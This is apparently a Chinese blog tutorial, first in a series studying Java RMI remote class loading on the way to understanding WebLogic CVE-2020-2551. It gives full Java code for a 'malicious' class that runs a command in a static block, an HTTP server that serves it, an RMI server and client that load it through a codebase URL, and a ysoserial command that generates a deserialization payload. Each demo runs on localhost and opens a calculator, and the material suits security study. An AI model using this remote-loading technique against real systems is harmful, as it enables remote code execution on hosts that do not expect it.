JAVA远程加载利用学习一:恶意的RMI Server

2020年 年初的时候,Weblogic爆出了一个漏洞CVE-2020-2551,说是 IIOP协议存在反序列化漏洞,可RCE(https://qiita.com/shimizukawasaki/items/7e01401a706900435591 )。
由于当时水平有限,对JAVA 序列化的理解,仅停留在ysoserial生成payload,readObject()一下就能触发RCE。
网上也没有POC,只能深入学习一下。
有幸拜读了前辈们的总结心得:

  1. https://paper.seebug.org/1012
  2. https://paper.seebug.org/1091

受益良多。也算是对JAVA的序列化利用有了新的认识。
内容较多,且内容深度急剧下降,对新手很难掌握。
《JAVA序列化利用学习》这个系列算是抽丝剥茧,一步一步由浅入深,理解CVE-2020-2551是怎么回事。
建议先把前辈的两篇文章按顺序读两遍。理论知识基础全部来自这里两篇文章。

本系列的代码全部摘自前辈的github:

https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms

前辈的github里有很多去weblogic Lookup对象的例子这里就不拿出来了,比较简单,可以跑跑看。
注意的是需要去Weblogic中拿 wlclient.jar 导入到项目。

第一个项目

可以在eclipse中创建maven项目来测试这些代码。
环境:JDK6u29 KaliLinux Eclipse
先用ysoserial生成RCE的序列化流文件:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

Server端项目

1.先创建一个恶意类:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
            exec("gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

2.启动一个Http server 提供远程调用恶意类:
com.hans.httpServer.HttpServer

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

3.然后部署一个RMI Server
com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = 1L;
    private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.ServicesImpl

package com.hans.RMI;

import java.rmi.RemoteException;

import com.hans.remoteClass.ExportObject;

public class ServicesImpl implements Services {
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject();
    }
}

com.hans.RMI.RMIServer

package com.hans.RMI;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

/*
 * 2. Second start RMI server
 * */

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

            //设置java.rmi.server.codebase
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类测试服务是否启动成功。

Client端:

作为远程方法调用,我可以不知道ExportObject做了啥,但是我必须要知道ExportObject外表长啥样:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
	
}

com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    /**
	 * 
	 */
	private static final long serialVersionUID = 1L;
	private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.RMIClient

package com.hans.RMI;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient 
{
    public static void main( String[] args )  throws Exception
    {
        //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", RMIClient.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        Message message = new Message();
        message.setMessage("hahaha");

        services.sendMessage(message);
    }
}

当Client项目运行在kali linux 时,从远程加载类库时会触发代码执行,弹出计算器。

Leave a Reply

Your email address will not be published. Required fields are marked *